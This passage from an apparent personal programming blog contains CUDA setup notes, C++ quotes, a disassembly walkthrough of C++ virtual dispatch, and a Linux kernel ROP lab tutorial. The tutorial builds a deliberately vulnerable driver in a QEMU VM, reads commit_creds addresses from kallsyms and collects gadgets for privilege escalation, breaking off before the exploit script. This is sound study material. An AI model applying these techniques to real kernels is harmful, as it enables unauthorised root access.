<span class="nb">sudo </span>apt-get <span class="nb">install </span>linux-headers-<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-r</span><span class="si">)</span>
<span class="c"># Opt1: deb network</span>
wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/cuda-ubuntu2004.pin
<span class="nb">sudo mv </span>cuda-ubuntu2004.pin /etc/apt/preferences.d/cuda-repository-pin-600
<span class="nb">sudo </span>apt-key adv <span class="nt">--fetch-keys</span> https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/7fa2af80.pub
<span class="nb">sudo </span>add-apt-repository <span class="s2">"deb https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/ /"</span>
<span class="c"># Opt2: deb local</span>
wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/cuda-ubuntu2004.pin
<span class="nb">sudo mv </span>cuda-ubuntu2004.pin /etc/apt/preferences.d/cuda-repository-pin-600
wget https://developer.download.nvidia.com/compute/cuda/11.3.0/local_installers/cuda-repo-ubuntu2004-11-3-local_11.3.0-465.19.01-1_amd64.deb
<span class="nb">sudo </span>dpkg <span class="nt">-i</span> cuda-repo-ubuntu2004-11-3-local_11.3.0-465.19.01-1_amd64.deb
<span class="nb">sudo </span>apt-key add /var/cuda-repo-ubuntu2004-11-3-local/7fa2af80.pub
<span class="c"># Install CUDA (this will also install nvidia driver, so need to remove nvidia*)</span>
<span class="nb">sudo </span>apt clean<span class="p">;</span> <span class="nb">sudo </span>apt update<span class="p">;</span> <span class="nb">sudo </span>apt purge cuda<span class="p">;</span> <span class="nb">sudo </span>apt purge nvidia-<span class="k">*</span><span class="p">;</span> <span class="nb">sudo </span>apt autoremove<span class="p">;</span> <span class="nb">sudo </span>apt <span class="nb">install </span>cuda
</code></pre></div></div>
<h3 id="monitoring">Monitoring</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># https://www.andrey-melentyev.com/monitoring-gpus.html</span>
<span class="nv">$ </span>nvidia-smi
Tue Jun 22 22:05:02 2021
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 460.80 Driver Version: 460.80 CUDA Version: 11.2 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
| | | MIG M. |
|<span class="o">===============================</span>+<span class="o">======================</span>+<span class="o">======================</span>|
| 0 GeForce GTX 105... Off | 00000000:01:00.0 On | N/A |
| 40% 43C P0 N/A / 75W | 631MiB / 4031MiB | 4% Default |
| | | N/A |
+-------------------------------+----------------------+----------------------+
</code></pre></div></div>
The Zen of Learning Cpp2020-04-02T00:00:00+00:00http://memto.github.io/program/misc/2020/04/02/the-zen-of-cpp<h4 id="note-this-is-just-collections-of-quotesopinions-that-i-consider-would-be-good-mindset-for-someone-to-move-from-another-languages-ex-c-to-cpp-or-just-start-with-cpp">Note: This is just collections of quotes/opinions that I consider would be good mindset for someone to move from another languages (ex: C) to Cpp or just start with Cpp</h4>
<ul>
<li>
<p>If you’re arguing, you’re loosing - Mike Thomas</p>
<p>Ref: <a href="https://youtu.be/D7Sd8A6_fYU?t=90">CppCon 2016: Dan Saks “extern c: Talking to C Programmers about C++”</a></p>
</li>
<li>
<p>C++ is complicated, very complicated language. There can’t be anything simple in C++ - Nicolai Josuttis</p>
<p>Ref: <a href="https://youtu.be/7DTlWPgX6zs?t=963">CppCon 2018: Nicolai Josuttis “The Nightmare of Initialization in C++”</a></p>
</li>
<li>
<p>You don’t have to know every detail of C++ to write good programs - Bjarne Strostrup</p>
<p>Ref: A Tour of C++ In-Depth 2nd Page 19</p>
</li>
<li>
<p>You’ll need a right mindset - Steve Fleming</p>
<p>Ref: https://www.automatedtradingsoftware.com/blog/mql-programming/do-you-have-the-right-mindset-to-be-a-programmer/</p>
</li>
<li>
<p>TBD</p>
</li>
</ul>
Function Overloading vs Function Overriding in C++2020-04-02T00:00:00+00:00http://memto.github.io/program/2020/04/02/function-overloading-vs-function-overriding-in-c<h4 id="ref">Ref</h4>
<ul>
<li>https://www.geeksforgeeks.org/function-overloading-vs-function-overriding-in-cpp/</li>
</ul>
<h4 id="example-cpp-code">Example Cpp code</h4>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// CPP program to illustrate </span>
<span class="c1">// Function Overriding </span>
<span class="cp">#include<iostream>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">BaseClass</span>
<span class="p">{</span>
<span class="nl">public:</span>
<span class="k">virtual</span> <span class="kt">void</span> <span class="n">Display</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"</span><span class="se">\n</span><span class="s">This is Display() method"</span>
<span class="s">" of BaseClass"</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">Show</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"</span><span class="se">\n</span><span class="s">This is Show() method "</span>
<span class="s">"of BaseClass"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="k">class</span> <span class="nc">DerivedClass</span> <span class="o">:</span> <span class="k">public</span> <span class="n">BaseClass</span>
<span class="p">{</span>
<span class="nl">public:</span>
<span class="c1">// Overriding method - new working of </span>
<span class="c1">// base class's display method </span>
<span class="kt">void</span> <span class="n">Display</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"</span><span class="se">\n</span><span class="s">This is Display() method"</span>
<span class="s">" of DerivedClass"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="c1">// Driver code </span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">DerivedClass</span> <span class="n">dr</span><span class="p">;</span>
<span class="n">BaseClass</span> <span class="o">&</span><span class="n">bs</span> <span class="o">=</span> <span class="n">dr</span><span class="p">;</span>
<span class="n">bs</span><span class="p">.</span><span class="n">Display</span><span class="p">();</span>
<span class="n">dr</span><span class="p">.</span><span class="n">Show</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="class-methods-are-just-like-others-functions-that-is-they-are-just-some-code-located-somewhere-in-text-code-section-except-that-a-class-method-will-receive-as-its-first-argument-the-famous-this-pointer-passed-via-rdi-register-in-this-case-also-you-can-see-name-mangling-in-actions-here-ex-_zn9baseclass4showev-_zn12derivedclass7displayev">Class methods are just like others functions, that is they are just some code located somewhere in <code class="language-plaintext highlighter-rouge">.text</code> (.code) section. Except that a class method will receive as its first argument the famous <code class="language-plaintext highlighter-rouge">this</code> pointer (passed via <code class="language-plaintext highlighter-rouge">rdi</code> register in this case). Also, you can see name mangling in actions here (ex: <code class="language-plaintext highlighter-rouge">_ZN9BaseClass4ShowEv, _ZN12DerivedClass7DisplayEv</code>)</h4>
<pre><code class="language-asm">.text:0000000000000A6C ; =============== S U B R O U T I N E =======================================
.text:0000000000000A6C
.text:0000000000000A6C ; Attributes: static bp-based frame
.text:0000000000000A6C
.text:0000000000000A6C ; void __cdecl BaseClass::Show(BaseClass *const this)
.text:0000000000000A6C public _ZN9BaseClass4ShowEv ; weak
.text:0000000000000A6C _ZN9BaseClass4ShowEv proc near ; CODE XREF: main+44↑p
.text:0000000000000A6C
.text:0000000000000A6C this = qword ptr -8
.text:0000000000000A6C
.text:0000000000000A6C ; __unwind {
.text:0000000000000A6C push rbp
.text:0000000000000A6D mov rbp, rsp
.text:0000000000000A70 sub rsp, 10h
.text:0000000000000A74 mov [rbp+this], rdi ; rdi = the *this* pointer
.text:0000000000000A78 lea rsi, aThisIsShowMeth ; "\nThis is Show() method of BaseClass"
.text:0000000000000A7F lea rdi, _ZSt4cout@@GLIBCXX_3_4
.text:0000000000000A86 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
.text:0000000000000A8B nop
.text:0000000000000A8C leave
.text:0000000000000A8D retn
.text:0000000000000A8D ; } // starts at A6C
.text:0000000000000A8D _ZN9BaseClass4ShowEv endp
.text:0000000000000A8D
.text:0000000000000A8E
.text:0000000000000A8E ; =============== S U B R O U T I N E =======================================
.text:0000000000000A8E
.text:0000000000000A8E ; Attributes: static bp-based frame
.text:0000000000000A8E
.text:0000000000000A8E ; void __cdecl DerivedClass::Display(DerivedClass *const this)
.text:0000000000000A8E public _ZN12DerivedClass7DisplayEv ; weak
.text:0000000000000A8E _ZN12DerivedClass7DisplayEv proc near ; DATA XREF: .data.rel.ro:off_201D68↓o
.text:0000000000000A8E
.text:0000000000000A8E this = qword ptr -8
.text:0000000000000A8E
.text:0000000000000A8E ; __unwind {
.text:0000000000000A8E push rbp
.text:0000000000000A8F mov rbp, rsp
.text:0000000000000A92 sub rsp, 10h
.text:0000000000000A96 mov [rbp+this], rdi
.text:0000000000000A9A lea rsi, aThisIsDisplayM ; "\nThis is Display() method of DerivedCl"...
.text:0000000000000AA1 lea rdi, _ZSt4cout@@GLIBCXX_3_4
.text:0000000000000AA8 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
.text:0000000000000AAD nop
.text:0000000000000AAE leave
.text:0000000000000AAF retn
.text:0000000000000AAF ; } // starts at A8E
.text:0000000000000AAF _ZN12DerivedClass7DisplayEv endp
.text:0000000000000AAF
</code></pre>
<h4 id="vtable-of-a-class-is-just-array-of-function-pointers-to-its-virtual-functions-which-located-somewhere-in-read-only-data-section-datarelro"><code class="language-plaintext highlighter-rouge">Vtable</code> of a class is just array of function pointers to its virtual functions which located somewhere in read-only data section (<code class="language-plaintext highlighter-rouge">.data.rel.ro</code>)</h4>
<pre><code class="language-asm">.data.rel.ro:0000000000201D58 ; `vtable for'DerivedClass
.data.rel.ro:0000000000201D58 _ZTV12DerivedClass dq 0 ; offset to this
.data.rel.ro:0000000000201D60 dq offset _ZTI12DerivedClass ; `typeinfo for'DerivedClass
.data.rel.ro:0000000000201D68 off_201D68 dq offset _ZN12DerivedClass7DisplayEv
.data.rel.ro:0000000000201D68 ; DATA XREF: main+17↑o
.data.rel.ro:0000000000201D68 ; DerivedClass::Display(void)
</code></pre>
<h4 id="this-is-how-compiler-setup-and-call-correct-function-in-case-of-polymorphism">This is how compiler setup and call correct function in case of <code class="language-plaintext highlighter-rouge">polymorphism</code></h4>
<pre><code class="language-asm">.text:00000000000009AA ; =============== S U B R O U T I N E =======================================
.text:00000000000009AA
.text:00000000000009AA ; Attributes: bp-based frame
.text:00000000000009AA
.text:00000000000009AA ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000000009AA public main
.text:00000000000009AA main proc near ; DATA XREF: _start+1D↑o
.text:00000000000009AA
.text:00000000000009AA dr = DerivedClass ptr -18h
.text:00000000000009AA bs = qword ptr -10h
.text:00000000000009AA var_8 = qword ptr -8
.text:00000000000009AA
.text:00000000000009AA ; __unwind {
.text:00000000000009AA push rbp
.text:00000000000009AB mov rbp, rsp
.text:00000000000009AE sub rsp, 20h
.text:00000000000009B2 mov rax, fs:28h
.text:00000000000009BB mov [rbp+var_8], rax
.text:00000000000009BF xor eax, eax
.text:00000000000009C1 lea rax, off_201D68 ; vtable for *DerivedClass*
.text:00000000000009C8 mov [rbp+dr.baseclass_0._vptr_BaseClass], rax ; vptr of *ds* = off_201D68
.text:00000000000009CC lea rax, [rbp+dr] ; rax = addr of *dr*
.text:00000000000009D0 mov [rbp+bs], rax ; vptr of *bs* = vptr of *ds*
.text:00000000000009D4 mov rax, [rbp+bs] ; rax = vptr of *bs*
.text:00000000000009D8 mov rax, [rax] ; rax = addr of vtable of *bs*
.text:00000000000009DB mov rax, [rax] ; rax = first func in vtable of *bs*
.text:00000000000009DE mov rdx, [rbp+bs] ; rdx = addr of *bs/dr*
.text:00000000000009E2 mov rdi, rdx ; rdi = addr of *bs/dr*
.text:00000000000009E5 call rax ; call *Display* function with first arg in *rdi* (this pointer)
.text:00000000000009E7 lea rax, [rbp+dr]
.text:00000000000009EB mov rdi, rax ; this
.text:00000000000009EE call _ZN9BaseClass4ShowEv ; BaseClass::Show(void)
.text:00000000000009F3 mov eax, 0
.text:00000000000009F8 mov rcx, [rbp+var_8]
.text:00000000000009FC xor rcx, fs:28h
.text:0000000000000A05 jz short locret_A0C
.text:0000000000000A07 call ___stack_chk_fail
.text:0000000000000A0C ; ---------------------------------------------------------------------------
.text:0000000000000A0C
.text:0000000000000A0C locret_A0C: ; CODE XREF: main+5B↑j
.text:0000000000000A0C leave
.text:0000000000000A0D retn
.text:0000000000000A0D ; } // starts at 9AA
.text:0000000000000A0D main endp
</code></pre>
<p>Pseudo code of the <code class="language-plaintext highlighter-rouge">main</code> function above</p>
<pre><code class="language-C">int __cdecl main(int argc, const char **argv, const char **envp)
{
DerivedClass dr; // [rsp+8h] [rbp-18h]
BaseClass *bs; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
dr._vptr_BaseClass = (int (**)(...))&off_201D68;
bs = (BaseClass *)&dr;
DerivedClass::Display(&dr);
BaseClass::Show(&dr.0);
return 0;
}
</code></pre>
Linux kernel ROP example2018-09-21T00:00:00+00:00http://memto.github.io/linux/program/2018/09/21/linux-kernel-rop-example<h4 id="setup-environment">Setup environment</h4>
<ul>
<li>Ref:
<ul>
<li><a href="">xxx</a></li>
<li><a href="">xxx</a></li>
</ul>
</li>
<li>Download <a href="https://www.osboxes.org/ubuntu/">Virtualbox Ubuntu 12.04 image</a> from osboxes
<ul>
<li>Open virtualbox and create new machine then select <em>Use an existing virtual hard disk file</em></li>
<li>Go to networking setting of created machine and setup port forwarding there (to use ssh later) (host: 127.0.0.1, port: 2222; guest: 10.0.2.15, port: 22)</li>
<li>Boot the machine: (pass: osboxes.org)</li>
<li>
<p>Open terminal to update, change pass and install ssh</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># On virtual machine</span>
<span class="nv">$ </span><span class="nb">sudo </span>apt-get update
<span class="nv">$ </span>passwd
<span class="nv">$ </span><span class="nb">sudo </span>apt-get <span class="nb">install </span>openssh-server
</code></pre></div> </div>
</li>
<li>
<p>Go to host to open ssh to virtual machine</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># on host</span>
<span class="nv">$ </span>ssh osboxes@localhost <span class="nt">-p</span> 2222
</code></pre></div> </div>
</li>
</ul>
</li>
<li>
<p>Install qemu and ncurses (to use: make menuconfig)</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>apt-get <span class="nb">install </span>qemu qemu-system
<span class="nv">$ </span><span class="nb">sudo </span>apt-get <span class="nb">install </span>libncurses5-dev
</code></pre></div> </div>
</li>
<li>
<p>Build busybox</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">pwd</span>
/home/osboxes
<span class="nv">$ </span>wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2 <span class="nt">--no-check-certificate</span>
<span class="nv">$ </span><span class="nb">tar</span> <span class="nt">-xf</span> busybox-1.19.4.tar.bz2
<span class="nv">$ </span><span class="nb">cd </span>busybox-1.19.4/
<span class="nv">$ </span>make menuconfig
<span class="c"># Enable:</span>
<span class="c"># -> Busybox Settings -> Build Options -> Build Busybox as a static binary</span>
<span class="c"># Disable:</span>
<span class="c"># -> Linux System Utilities -> [] Support mounting NFS file system</span>
<span class="c"># -> Networking Utilities -> [] inetd</span>
<span class="nv">$ </span>make <span class="nb">install</span>
</code></pre></div> </div>
<ul>
<li>
<p>After compiling, do the following configuration:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd </span>_install
<span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-pv</span> <span class="o">{</span>bin,sbin,etc,etc/init.d,proc,sys,usr/<span class="o">{</span>bin,sbin<span class="o">}}</span>
</code></pre></div> </div>
</li>
<li>
<p>Create etc/inittab</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>::sysinit:/etc/init.d/rcS
ttyS0::askfirst:/bin/sh
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff <span class="nt">-a</span>
::shutdown:/bin/umount <span class="nt">-a</span> <span class="nt">-r</span>
::restart:/sbin/init
</code></pre></div> </div>
</li>
<li>
<p>Create etc/init.d/rcS</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
mount <span class="nt">-t</span> proc none /proc
mount <span class="nt">-t</span> sys none /sys
/bin/mount <span class="nt">-n</span> <span class="nt">-t</span> sysfs none /sys
/bin/mount <span class="nt">-t</span> ramfs none /dev
/sbin/mdev <span class="nt">-s</span>
<span class="nb">cd</span> /dev
/bin/rm <span class="nt">-f</span> console
/bin/ln <span class="nt">-s</span> ttyS0 console
</code></pre></div> </div>
</li>
<li>
<p>The above process is related to Linux startup, /etc/inittab and rcS do system initialization work, such as: load shell, mount disk and so on.</p>
</li>
<li>
<p>Create rootfs.img</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">chmod</span> +x etc/init.d/rcS
<span class="nv">$ </span>find <span class="nb">.</span> | cpio <span class="nt">-o</span> <span class="nt">--format</span><span class="o">=</span>newc <span class="o">></span> ../rootfs.img
</code></pre></div> </div>
</li>
</ul>
</li>
<li>
<p>Test boot with current kernel</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd</span> <span class="c"># return home</span>
<span class="nv">$ </span>qemu-system-x86_64 <span class="nt">-kernel</span> /boot/vmlinuz-3.11.0-15-generic <span class="nt">-initrd</span> busybox-1.19.4/rootfs.img <span class="nt">-append</span> <span class="s2">"console=ttyS0 root=/dev/ram rdinit=/sbin/init"</span> <span class="nt">--nographic</span>
<span class="c"># To quit from qemu with --nographic</span>
<span class="c"># press ctrl-A + C then type: quit</span>
</code></pre></div> </div>
</li>
</ul>
<h4 id="kernel-rop-example">Kernel ROP example</h4>
<ul>
<li>Ref:
<ul>
<li><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/">Linux Kernel ROP - Ropping your way to # (Part 1)</a></li>
<li><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/">Linux Kernel ROP - Ropping your way to # (Part 2)</a></li>
<li><a href="https://0x3f97.github.io/pwn/2018/04/27/linux-kernel-rop/">linux kernel rop</a></li>
</ul>
</li>
<li>
<p>Big picture/idea for this expoloit as below</p>
<p><img src="/media/kernel-rop-example.jpg" alt="kernel-rop-example.jpg" /></p>
</li>
<li>
<p>Clone source code and build example source</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd</span> <span class="c"># return home</span>
<span class="nv">$ </span>git clone https://github.com/vnik5287/kernel_rop.git
<span class="nv">$ </span><span class="nb">cd </span>kernel_rop
<span class="nv">$ </span>make
make <span class="nt">-C</span> /lib/modules/3.11.0-15-generic/build <span class="nv">M</span><span class="o">=</span>/home/osboxes/kernel_rop modules
make[1]: Entering directory <span class="sb">`</span>/usr/src/linux-headers-3.11.0-15-generic<span class="s1">'
CC [M] /home/osboxes/kernel_rop/drv.o
/home/osboxes/kernel_rop/drv.c: In function ‘device_ioctl’:
/home/osboxes/kernel_rop/drv.c:60:6: warning: assignment from incompatible pointer type [enabled by default]
Building modules, stage 2.
MODPOST 1 modules
CC /home/osboxes/kernel_rop/drv.mod.o
LD [M] /home/osboxes/kernel_rop/drv.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-15-generic'</span>
<span class="c"># compile the trigger</span>
gcc trigger.c <span class="nt">-O2</span> <span class="nt">-o</span> trigger
</code></pre></div> </div>
</li>
<li>
<p>Add drv.ko file into busybox rootfs and re-create rootfs</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cp </span>drv.ko ../busybox-1.19.4/_install/
<span class="nv">$ </span><span class="nb">cd</span> ../busybox-1.19.4/_install/
<span class="nv">$ </span>find <span class="nb">.</span> | cpio <span class="nt">-o</span> <span class="nt">--format</span><span class="o">=</span>newc <span class="o">></span> ../rootfs.img
</code></pre></div> </div>
</li>
<li>
<p>Boot with qemu (specify -s to listen on port 1234 for debuger)</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd</span> <span class="c"># return home</span>
<span class="nv">$ </span>qemu-system-x86_64 <span class="nt">-kernel</span> /boot/vmlinuz-3.11.0-15-generic <span class="nt">-initrd</span> busybox-1.19.4/rootfs.img <span class="nt">-append</span> <span class="s2">"console=ttyS0 root=/dev/ram rdinit=/sbin/init"</span> <span class="nt">--nographic</span> <span class="nt">-s</span>
</code></pre></div> </div>
</li>
<li>Guest: get buffer base address. Insert kernel module (mdev -s: to refresh the /dev directory after insert module)
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/ <span class="c"># ls</span>
bin drv.ko linuxrc root sys
dev etc proc sbin usr
/ <span class="c"># insmod drv.ko </span>
<span class="o">[</span> 39.138135] drv: module verification failed: signature and/or required key missing - tainting kernel
<span class="o">[</span> 39.148377] addr<span class="o">(</span>ops<span class="o">)</span> <span class="o">=</span> ffffffffa0002340
/ <span class="c"># mdev -s</span>
</code></pre></div> </div>
</li>
<li>
<p>Guest: Get module .text address</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/ <span class="c"># cat /sys/module/drv/sections/.text </span>
0xffffffffa0000000
</code></pre></div> </div>
</li>
<li>
<p>Guest: get prepare_kernel_cred and commit_creds address</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/ <span class="c"># cat /proc/kallsyms | grep prepare_kernel_cred</span>
ffffffff8108fa30 T prepare_kernel_cred
/ <span class="c"># cat /proc/kallsyms | grep commit_creds</span>
ffffffff8108f7b0 T commit_creds
</code></pre></div> </div>
</li>
<li>
<p>Host: gdb/qemu debug kernel remote target</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gdb /boot/vmlinuz-3.11.0-15-generic
<span class="o">(</span>gdb<span class="o">)</span> target remote :1234
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">set </span>disassembly-flavor intel
<span class="o">(</span>gdb<span class="o">)</span> add-symbol-file drv.ko 0xffffffffa0000000
add symbol table from file <span class="s2">"drv.ko"</span> at
.text_addr <span class="o">=</span> 0xffffffffa0000000
<span class="o">(</span>y or n<span class="o">)</span> y
Reading symbols from /home/osboxes/kernel_rop/drv.ko...done.
<span class="o">(</span>gdb<span class="o">)</span> disassemble device_ioctl
Dump of assembler code <span class="k">for function </span>device_ioctl:
0xffffffffa00000bd <+0>: data32 data32 data32 xchg ax,ax
0xffffffffa00000c2 <+5>: push rbp
0xffffffffa00000c3 <+6>: mov rbp,rsp
0xffffffffa00000c6 <+9>: sub rsp,0x30
0xffffffffa00000ca <+13>: mov QWORD PTR <span class="o">[</span>rbp-0x18],rdi <span class="p">;</span> device_ioctl 1st arg
0xffffffffa00000ce <+17>: mov DWORD PTR <span class="o">[</span>rbp-0x1c],esi <span class="p">;</span> device_ioctl 2nd arg
0xffffffffa00000d1 <+20>: mov QWORD PTR <span class="o">[</span>rbp-0x28],rdx <span class="p">;</span> device_ioctl 3rd arg
0xffffffffa00000d5 <+24>: mov eax,DWORD PTR <span class="o">[</span>rbp-0x1c]
0xffffffffa00000d8 <+27>: <span class="nb">test </span>eax,eax
0xffffffffa00000da <+29>: jne 0xffffffffa0000145 <device_ioctl+136>
0xffffffffa00000dc <+31>: mov rax,QWORD PTR <span class="o">[</span>rbp-0x28]
0xffffffffa00000e0 <+35>: mov QWORD PTR <span class="o">[</span>rbp-0x10],rax <span class="p">;</span> save req struct address
0xffffffffa00000e4 <+39>: mov rax,QWORD PTR <span class="o">[</span>rbp-0x10]
0xffffffffa00000e8 <+43>: mov rax,QWORD PTR <span class="o">[</span>rax]
0xffffffffa00000eb <+46>: mov rsi,rax
0xffffffffa00000ee <+49>: mov rdi,0xffffffffa0001066
0xffffffffa00000f5 <+56>: mov eax,0x0
0xffffffffa00000fa <+61>: call 0xffffffff8172f662
0xffffffffa00000ff <+66>: mov rax,QWORD PTR <span class="o">[</span>rbp-0x10]
0xffffffffa0000103 <+70>: mov rax,QWORD PTR <span class="o">[</span>rax]
0xffffffffa0000106 <+73>: shl rax,0x3
0xffffffffa000010a <+77>: add rax,0xffffffffa0002340
0xffffffffa0000110 <+83>: mov rsi,rax
0xffffffffa0000113 <+86>: mov rdi,0xffffffffa0001074
0xffffffffa000011a <+93>: mov eax,0x0
0xffffffffa000011f <+98>: call 0xffffffff8172f662
0xffffffffa0000124 <+103>: mov rdx,0xffffffffa0002340
0xffffffffa000012b <+110>: mov rax,QWORD PTR <span class="o">[</span>rbp-0x10]
0xffffffffa000012f <+114>: mov rax,QWORD PTR <span class="o">[</span>rax]
0xffffffffa0000132 <+117>: shl rax,0x3
0xffffffffa0000136 <+121>: add rax,rdx
0xffffffffa0000139 <+124>: mov QWORD PTR <span class="o">[</span>rbp-0x8],rax
0xffffffffa000013d <+128>: mov rax,QWORD PTR <span class="o">[</span>rbp-0x8]
0xffffffffa0000141 <+132>: call rax <span class="p">;</span> <span class="o">[</span>1] call fn<span class="o">()</span>
0xffffffffa0000143 <+134>: jmp 0xffffffffa0000146 <device_ioctl+137>
0xffffffffa0000145 <+136>: nop
0xffffffffa0000146 <+137>: mov eax,0x0
0xffffffffa000014b <+142>: leave
0xffffffffa000014c <+143>: ret
End of assembler dump.
</code></pre></div> </div>
</li>
<li>Host: get kernel gadgets
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd</span> <span class="c"># return home</span>
<span class="nv">$ </span><span class="nb">mkdir </span>kernel_image
<span class="nv">$ </span><span class="nb">cd </span>kernel_image
</code></pre></div> </div>
<ul>
<li>
<p>If there is error related to SSL</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>apt-get <span class="nb">install </span>libssl-dev libssl1.0.0 openssl
</code></pre></div> </div>
</li>
<li>
<p>Extract kernel. Download script from <a href="https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux">kernel tree</a></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$ </span>wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
<span class="nv">$ </span><span class="nb">cp</span> /boot/vmlinuz-3.11.0-15-generic <span class="nb">.</span>
<span class="nv">$ </span><span class="nb">chmod </span>u+x extract-vmlinux
<span class="nv">$ </span>./extract-vmlinux vmlinuz-3.11.0-15-generic <span class="o">></span> vmlinux-3.11.0-15-generic
</code></pre></div> </div>
</li>
<li>
<p>Install <a href="https://github.com/JonathanSalwan/ROPgadget">ROPgadget</a></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://raw.githubusercontent.com/pypa/get-pip/master/get-pip.py
<span class="nv">$ </span><span class="nb">sudo </span>python get-pip
<span class="nv">$ </span><span class="nb">sudo </span>pip <span class="nb">install </span>capstone
<span class="nv">$ </span><span class="nb">sudo </span>pip <span class="nb">install </span>ropgadget
</code></pre></div> </div>
</li>
<li>
<p>Get kernel gadgets</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ROPgadget <span class="nt">--binary</span> vmlinux-3.11.0-15-generic <span class="o">></span> kernel.gadgets
</code></pre></div> </div>
</li>
<li>
<p>Search for ROP</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="s1">': pop rdi ; ret'</span> kernel.gadgets
0xffffffff810476e5 : pop rdi <span class="p">;</span> ret
<span class="nv">$ </span><span class="nb">grep</span> <span class="s1">': pop rdx ; ret'</span> kernel.gadgets
0xffffffff812366d2 : pop rdx <span class="p">;</span> ret
<span class="nv">$ </span><span class="nb">grep</span> <span class="s1">': mov rdi, rax ; call rdx'</span> kernel.gadgets
0xffffffff81035b51 : mov rdi, rax <span class="p">;</span> call rdx
<span class="nv">$ </span><span class="nb">grep</span> <span class="s1">': swapgs ; pop rbp ; ret'</span> kernel.gadgets
0xffffffff81050554 : swapgs <span class="p">;</span> pop rbp <span class="p">;</span> ret
</code></pre></div> </div>
</li>
</ul>
</li>
<li>
<p>Host: find iretq</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>objdump <span class="nt">-j</span> .text <span class="nt">-d</span> kernel_image/vmlinux-3.11.0-15-generic | <span class="nb">grep </span>iretq | <span class="nb">head</span> <span class="nt">-1</span>
ffffffff81050dd6: 48 cf iretq
</code></pre></div> </div>
</li>
<li>
<p>Host: Find offset to xchg gadget</p>
<ul>
<li>
<p>On my system the first xchg gadget not work because disassembly is different when run debug. So need update find_offset.py to find all and try (the second one work for me)</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
</span><span class="kn">import</span> <span class="nn">sys</span>
